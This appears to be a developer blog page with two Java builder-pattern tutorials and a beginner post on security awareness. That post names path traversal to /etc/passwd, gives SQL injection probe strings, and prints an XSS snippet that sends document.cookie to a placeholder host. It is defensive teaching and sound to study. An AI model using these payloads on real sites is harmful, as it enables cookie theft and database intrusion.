Guided builder pattern

Previously, I wrote a post about builder pattern. This post intends to extend the builder pattern further. Let’s start with previous working example of Employee class as follows.

import java.util.Date;

public class Employee {
    private final int id;               //required
    private final String name;          //required
    private final String address;       //optional
    private final String phoneNumber;   //optional
    private final Date dateOfBirth;     //optional
    private final String placeOfBirth;  //optional
    private final String ssn;           //optional

    private Employee(Builder builder) {
        this.id = builder.id;
        this.name = builder.name;
        this.address = builder.address;
        this.phoneNumber = builder.phoneNumber;
        this.dateOfBirth = builder.dateOfBirth;
        this.placeOfBirth = builder.placeOfBirth;
        this.ssn = builder.ssn;
    }

    public int getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public String getAddress() {
        return address;
    }

    public String getPhoneNumber() {
        return phoneNumber;
    }

    public Date getDateOfBirth() {
        return dateOfBirth;
    }

    public String getPlaceOfBirth() {
        return placeOfBirth;
    }

    public String getSsn() {
        return ssn;
    }

    public Builder unbuild() {
        return new Builder(this);
    }

    public static class Builder {
        private final int id;
        private final String name;
        private String address;
        private String phoneNumber;
        private Date dateOfBirth;
        private String placeOfBirth;
        private String ssn;

        public Builder(int id, String name) {
            this.id = id;
            this.name = name;
        }

        private Builder(Employee employee) {
            this.id = employee.getId();
            this.name = employee.getName();
            this.address = employee.getAddress();
            this.phoneNumber = employee.getPhoneNumber();
            this.dateOfBirth = employee.getDateOfBirth();
            this.placeOfBirth = employee.getPlaceOfBirth();
            this.ssn = employee.getSsn();
        }

        public Builder ssn(String ssn) {
            this.ssn = ssn;
            return this;
        }

        public Builder address(String address) {
            this.address = address;
            return this;
        }

        public Builder phoneNumber(String phoneNumber) {
            this.phoneNumber = phoneNumber;
            return this;
        }

        public Builder dateOfBirth(Date dateOfBirth) {
            this.dateOfBirth = dateOfBirth;
            return this;
        }

        public Builder placeOfBirth(String placeOfBirth) {
            this.placeOfBirth = placeOfBirth;
            return this;
        }

        public Employee build() {
            return new Employee(this);
        }
    }
}

So what’s the problem with this implementation? If we want the users of this class to actually initialize all field values properly, then we can’t enforce the users to do so since users can just call the builder to instantiate an object of Employee as follows.

Employee employee = Employee.builder(1, "Watson")
        .address("Baker street, London")
        .phoneNumber("+1234567890")
        .build();

employee object has only id, name, address, and phoneNumber filled, and it is a valid call. The question would be, how to prevent such call being made? Guided builder pattern gives you the answer.

Guided builder pattern is intended to guide the users of the class in instantiating an object. This can be done by, first, making the static Builder class to have 1) a default constructor (without parameter), 2) constructor that accept Employee as parameter, and then remove final from both id and name field.

private int id;
private String name;
private String address;
private String phoneNumber;
private Date dateOfBirth;
private String placeOfBirth;
private String ssn;

private Builder() {}

private Builder(Employee employee) {
 this.id = employee.getId();
 this.name = employee.getName();
 this.address = employee.getAddress();
 this.phoneNumber = employee.getPhoneNumber();
 this.dateOfBirth = employee.getDateOfBirth();
 this.placeOfBirth = employee.getPlaceOfBirth();
 this.ssn = employee.getSsn();
}

Second, we create interfaces which each has a field assignment method. The return type of the field assignment method in each interface is another interface that assigns other field. This is done until all interfaces to assign fields are implemented. The last interface returns the static Builder class.

public interface IdBuilder {
    NameBuilder id(int id);
}

public interface NameBuilder {
    AddressBuilder name(String name);
}

public interface AddressBuilder {
    PhoneNumberBuilder address(String address);
}

public interface PhoneNumberBuilder {
    DateOfBirthBuilder phoneNumber(String phoneNumber);
}

public interface DateOfBirthBuilder {
    PlaceOfBirthBuilder dateOfBirth(Date dateOfBirth);
}

public interface PlaceOfBirthBuilder {
    SsnBuilder placeOfBirth(String placeOfBirth);
}

public interface SsnBuilder {
    Builder ssn(String ssn);
}

Third, the builder and unbuild methods in the class need to return the first interface type.

public static IdBuilder builder() {
    return new Builder();
}

public IdBuilder unbuild() {
    return new Builder(this);
}

Last, the static Builder class needs to implement those interfaces.

public static class Builder implements IdBuilder, NameBuilder, 
        AddressBuilder, PhoneNumberBuilder, DateOfBirthBuilder, 
        PlaceOfBirthBuilder, SsnBuilder{
    private int id;
    private String name;
    private String address;
    private String phoneNumber;
    private Date dateOfBirth;
    private String placeOfBirth;
    private String ssn;

    private Builder() {}

    private Builder(Employee employee) {
        this.id = employee.getId();
        this.name = employee.getName();
        this.address = employee.getAddress();
        this.phoneNumber = employee.getPhoneNumber();
        this.dateOfBirth = employee.getDateOfBirth();
        this.placeOfBirth = employee.getPlaceOfBirth();
        this.ssn = employee.getSsn();
    }

    public NameBuilder id(int id) {
        this.id = id;
        return this;
    }

    public AddressBuilder name(String name) {
        this.name = name;
        return this;
    }

    public PhoneNumberBuilder address(String address) {
        this.address = address;
        return this;
    }

    public DateOfBirthBuilder phoneNumber(String phoneNumber) {
        this.phoneNumber = phoneNumber;
        return this;
    }

    public PlaceOfBirthBuilder dateOfBirth(Date dateOfBirth) {
        this.dateOfBirth = dateOfBirth;
        return this;
    }

    public SsnBuilder placeOfBirth(String placeOfBirth) {
        this.placeOfBirth = placeOfBirth;
        return this;
    }

    public Builder ssn(String ssn) {
        this.ssn = ssn;
        return this;
    }

    public Employee build() {
        return new Employee(this);
    }
}

By doing this, it only allows the users of the class to instantiate object as follows.

Employee employee = Employee.builder()
        .id(1234)
        .name("Watson")
        .address("Baker street, London")
        .phoneNumber("+1234567890")
        .dateOfBirth(new Date())
        .placeOfBirth("12345")
        .ssn("123121323")
        .build();

Another handy thing is that we can enforce certain value NOT to be accepted by using Guava checkNotNull, for instance, within the implementation of the field assignment methods.

The complete Employee class implementation is as follows.

import java.util.Date;

public class Employee {
    private final int id;
    private final String name;
    private final String address;
    private final String phoneNumber;
    private final Date dateOfBirth;
    private final String placeOfBirth;
    private final String ssn;

    private Employee(Builder builder) {
        this.id = builder.id;
        this.name = builder.name;
        this.address = builder.address;
        this.phoneNumber = builder.phoneNumber;
        this.dateOfBirth = builder.dateOfBirth;
        this.placeOfBirth = builder.placeOfBirth;
        this.ssn = builder.ssn;
    }

    public int getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public String getAddress() {
        return address;
    }

    public String getPhoneNumber() {
        return phoneNumber;
    }

    public Date getDateOfBirth() {
        return dateOfBirth;
    }

    public String getPlaceOfBirth() {
        return placeOfBirth;
    }

    public String getSsn() {
        return ssn;
    }

    public static IdBuilder builder() {
        return new Builder();
    }

    public IdBuilder unbuild() {
        return new Builder(this);
    }

    public interface IdBuilder {
        NameBuilder id(int id);
    }

    public interface NameBuilder {
        AddressBuilder name(String name);
    }

    public interface AddressBuilder {
        PhoneNumberBuilder address(String address);
    }

    public interface PhoneNumberBuilder {
        DateOfBirthBuilder phoneNumber(String phoneNumber);
    }

    public interface DateOfBirthBuilder {
        PlaceOfBirthBuilder dateOfBirth(Date dateOfBirth);
    }

    public interface PlaceOfBirthBuilder {
        SsnBuilder placeOfBirth(String placeOfBirth);
    }

    public interface SsnBuilder {
        Builder ssn(String ssn);
    }

    public static class Builder implements IdBuilder, NameBuilder,
            AddressBuilder, PhoneNumberBuilder, DateOfBirthBuilder,
            PlaceOfBirthBuilder, SsnBuilder{
        private int id;
        private String name;
        private String address;
        private String phoneNumber;
        private Date dateOfBirth;
        private String placeOfBirth;
        private String ssn;

        private Builder() {}

        private Builder(Employee employee) {
            this.id = employee.getId();
            this.name = employee.getName();
            this.address = employee.getAddress();
            this.phoneNumber = employee.getPhoneNumber();
            this.dateOfBirth = employee.getDateOfBirth();
            this.placeOfBirth = employee.getPlaceOfBirth();
            this.ssn = employee.getSsn();
        }

        public NameBuilder id(int id) {
            this.id = id;
            return this;
        }

        public AddressBuilder name(String name) {
            this.name = name;
            return this;
        }

        public PhoneNumberBuilder address(String address) {
            this.address = address;
            return this;
        }

        public DateOfBirthBuilder phoneNumber(String phoneNumber) {
            this.phoneNumber = phoneNumber;
            return this;
        }

        public PlaceOfBirthBuilder dateOfBirth(Date dateOfBirth) {
            this.dateOfBirth = dateOfBirth;
            return this;
        }

        public SsnBuilder placeOfBirth(String placeOfBirth) {
            this.placeOfBirth = placeOfBirth;
            return this;
        }

        public Builder ssn(String ssn) {
            this.ssn = ssn;
            return this;
        }

        public Employee build() {
            return new Employee(this);
        }
    }
}

I hope this post is useful.

Advertisements

IT security for developers (beginner level)

Security is essential in any application. It allows people to trust and feel at ease using our applications. It protects our source of income (read: applications)  from  hackers and cyber criminals attacks. Consequently, it prevents us from losing our money and customers.

Nonetheless, implementing security measures are not trivial. As managers, we need to know the vulnerability of our applications and possible threats due to their vulnerability. Hiring IT security professional can be a solution, but it means nothing without a proper support from our engineers. Why? because they will keep developing products with ‘security defect’. Thus, it is important to raise the security awareness of our software engineers. As software engineers, we need to be aware if our implementation can create holes for security breach and cyber attacks. Not only it will give us headache later on, but it will also taint our ‘track-records’.

Personally, I was (and most likely still am) a security agnostic engineer. I know it’s important but I never paid attention or care about it. However, I just had an ‘enlightenment’ after following a practical IT security training. It is important to at least able to identify and recognize common ‘security defect’ implementations. To do this, we need to have a hacker mindset.

Hacker mindset always gets to know its ‘preys’, asking about what the applications do and how they can be implemented. After getting acquainted with the preys, hacker mindset will list several potential attacks that can breach the applications. The standard operating procedure is to relentlessly perform penetration testing using a simple to an advanced path traversal attacks, SQL injections, and cross site scripting (XSS).

Path traversal attacks exploit the standard OS feature of ‘../’ to access files or directories outside of web root directory. This enables the attackers to gain useful information such as admin user/password in, for instance, /etc/passwd, and use that information for their profits.

SQL injections make full use of SQL queries and database features to gain access to valuable information stored in the database, such as username and password, credit card information, customer profiles, etc. A common first attempt would be filling an input form with 1′ and 1=1 #, or 1′ and 1=1 union select … #. Some databases also have features that actually make the attacks easier, e.g., MySql has a feature that translates ”*” into 0.

Cross-Site Scripting (XSS) is also a type of injection. It injects malicious scripts to trusted websites, typically in user input forms which have no proper validation or escape characters. For instance, inserting a malicious javascript code below to database is one way of stealing user cookie.

var i = new Image();
i.src = "https://your-whatever-website/" + 
    "?id=94a80283f4010ca5&message=" + 
    escape(document.cookie);

Another example, front-end wise, a handlebar  mustache ({{mustache}}) has a space as its evil character. If we write code with mustache as a field property, you can actually put a javascript action to replace color something like “red onclick= …”. Thus, escaping space character or not using mustache to set property of a field would be countermeasures in this case.

<textarea id="message" color={{color}}>
</textarea>

Understanding these basic attacks helps us, engineers, to prevent basic security breaches in our applications. For more advanced level of attacks, we can always seek help from IT security professional to hack our applications and gives us inputs on how to improve the security of our system.

In sum, we as engineers need to really know your applications/system and their vulnerability. Try to hack the system ourselves with common types of attack. Seek assistance from IT security expert, then evolve and make our app more secure. Follow the trends of cyber attacks, and keep on improving our system’s security.

Recommended book: The tangled web by Michal Zawleski

Builder pattern

There are so many different design patterns in programming, e.g., builder pattern, guided builder pattern, factory/supplier pattern, factory-method pattern, visitor pattern, etc. Design patterns are merely guidelines for effective coding, but they have their merits in solving commonly re-occuring problems. This article explains one of design patterns called builder pattern. Before this post becomes TL;DR, let’s dive directly to codes in Java.

Let’s start with a problem statement. Suppose you have a typical Employee class with two attributes: id and name as follows.

public class Employee {
    private final int id;    //required
    private final String name;  //required
    
    public Employee(final int id, final String name) {
        this.id = id;
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public String getName() {
        return name;
    }
}

You now have business requirement to add more optional fields to the class: address, phoneNumber,  dateOfBirth, placeOfBirth, ssn. You will have many constructors shown below.

import java.util.Date;

public class Employee {
    private final int id;               //required
    private final String name;          //required
    private final String address;       //optional
    private final String phoneNumber;   //optional
    private final Date dateOfBirth;     //optional
    private final String placeOfBirth;  //optional
    private final String ssn;           //optional

    public Employee(final int id, final String name) {
        this(id, name, "", "", null, "", "");
    }

    public Employee(final int id, final String name, String address) {
        this(id, name, address, "", null, "", "");
    }

    public Employee(final int id, final String name,
                    final String address, final String phoneNumber) {
        this(id, name, address, phoneNumber, null, "", "");
    }

    public Employee(final int id, final String name,
                    final String address, final String phoneNumber,
                    final Date dateOfBirth) {
        this(id, name, address, phoneNumber, dateOfBirth, "", "");
    }

    public Employee(final int id, final String name,
                    final String address, final String phoneNumber,
                    final Date dateOfBirth, final String placeOfBirth) {
        this(id, name, address, phoneNumber, dateOfBirth, placeOfBirth, "");
    }

    public Employee(final int id, final String name, final String address,
                    final String phoneNumber, final Date dateOfBirth,
                    final String placeOfBirth, final String ssn) {
        this.id = id;
        this.name = name;
        this.address = address;
        this.phoneNumber = phoneNumber;
        this.dateOfBirth = dateOfBirth;
        this.placeOfBirth = placeOfBirth;
        this.ssn = ssn;
    }
    
    ...   
}

You can see the downside immediately. First, you cannot make another constructor which have the same signature. For instance, constructor with id, name, and phoneNumber is not possible to be created since you already have a constructor with id, name, address (i.e., int, String, String signature). Second, as the field number grows, you will have difficulty in maintaining the codes and deciding which constructors are needed. Third, it’s not clear to the users of this class which constructor they should call.

We can easily solve these problems by simply following JavaBeans convention, i.e, setting all fields to be non-final and providing setter methods for all fields. However, this introduces problem of mutable state (a big no for concurrency programming) which hard to debug. This also means any instantiated object of the class can be in inconsistent state throughout its lifetime within the client/user codes.

Fortunately, we have builder pattern comes to the rescue. Builder pattern tackles all those problems mentioned above without losing the advantages of immutable state.

import java.util.Date;

public class Employee {
    private final int id;               //required
    private final String name;          //required
    private final String address;       //optional
    private final String phoneNumber;   //optional
    private final Date dateOfBirth;     //optional
    private final String placeOfBirth;  //optional
    private final String ssn;           //optional

    private Employee(Builder builder) {
        this.id = builder.id;
        this.name = builder.name;
        this.address = builder.address;
        this.phoneNumber = builder.phoneNumber;
        this.dateOfBirth = builder.dateOfBirth;
        this.placeOfBirth = builder.placeOfBirth;
        this.ssn = builder.ssn;
    }

    public int getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public String getAddress() {
        return address;
    }

    public String getPhoneNumber() {
        return phoneNumber;
    }

    public Date getDateOfBirth() {
        return dateOfBirth;
    }

    public String getPlaceOfBirth() {
        return placeOfBirth;
    }

    public String getSsn() {
        return ssn;
    }

    public static Builder builder(int id, String name) {
        return new Builder(id, name);
    }

    public static class Builder {
        private final int id;
        private final String name;
        private String address;
        private String phoneNumber;
        private Date dateOfBirth;
        private String placeOfBirth;
        private String ssn;

        private Builder(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public Builder ssn(String ssn) {
            this.ssn = ssn;
            return this;
        }

        public Builder address(String address) {
            this.address = address;
            return this;
        }

        public Builder phoneNumber(String phoneNumber) {
            this.phoneNumber = phoneNumber;
            return this;
        }

        public Builder dateOfBirth(Date dateOfBirth) {
            this.dateOfBirth = dateOfBirth;
            return this;
        }

        public Builder placeOfBirth(String placeOfBirth) {
            this.placeOfBirth = placeOfBirth;
            return this;
        }

        public Employee build() {
            return new Employee(this);
        }
    }
}

The constructor for Employee is private, so new object can only be instantiated by using the builder static method which return Builder. Also, the Builder class has a fluent interface to set the value of optional fields, whereas the required fields are passed as constructor argument. You can look on how readable the code for instantiating a new Employee object.

Employee employee = Employee.builder(1, "Watson")
        .address("Baker street, London")
        .phoneNumber("+1234567890")
        .build();

you can provide an extra static unbuild method inside the Employee class. This is useful if you want to have a new Builder with the same fields value of Employee object and then assign different values to certain fields.

import java.util.Date;

public class Employee {
    private final int id;               //required
    private final String name;          //required
    private final String address;       //optional
    private final String phoneNumber;   //optional
    private final Date dateOfBirth;     //optional
    private final String placeOfBirth;  //optional
    private final String ssn;           //optional

    private Employee(Builder builder) {
        this.id = builder.id;
        this.name = builder.name;
        this.address = builder.address;
        this.phoneNumber = builder.phoneNumber;
        this.dateOfBirth = builder.dateOfBirth;
        this.placeOfBirth = builder.placeOfBirth;
        this.ssn = builder.ssn;
    }

    public int getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public String getAddress() {
        return address;
    }

    public String getPhoneNumber() {
        return phoneNumber;
    }

    public Date getDateOfBirth() {
        return dateOfBirth;
    }

    public String getPlaceOfBirth() {
        return placeOfBirth;
    }

    public String getSsn() {
        return ssn;
    }

    public Builder unbuild() {
        return new Builder(this);
    }

    public static class Builder {
        private final int id;
        private final String name;
        private String address;
        private String phoneNumber;
        private Date dateOfBirth;
        private String placeOfBirth;
        private String ssn;

        public Builder(int id, String name) {
            this.id = id;
            this.name = name;
        }

        private Builder(Employee employee) {
            this.id = employee.getId();
            this.name = employee.getName();
            this.address = employee.getAddress();
            this.phoneNumber = employee.getPhoneNumber();
            this.dateOfBirth = employee.getDateOfBirth();
            this.placeOfBirth = employee.getPlaceOfBirth();
            this.ssn = employee.getSsn();
        }

        public Builder ssn(String ssn) {
            this.ssn = ssn;
            return this;
        }

        public Builder address(String address) {
            this.address = address;
            return this;
        }

        public Builder phoneNumber(String phoneNumber) {
            this.phoneNumber = phoneNumber;
            return this;
        }

        public Builder dateOfBirth(Date dateOfBirth) {
            this.dateOfBirth = dateOfBirth;
            return this;
        }

        public Builder placeOfBirth(String placeOfBirth) {
            this.placeOfBirth = placeOfBirth;
            return this;
        }

        public Employee build() {
            return new Employee(this);
        }
    }
}

The example of unbuild method usage is as follows.

Employee employee = Employee.builder(1, "Watson")
        .address("Baker street, London")
        .phoneNumber("+1234567890")
        .build();

Employee employee2 = employee.unbuild()
        .ssn("123455555")
        .build();

I hope this post gives you a good overview of builder pattern. Next time I’ll discuss other design patterns.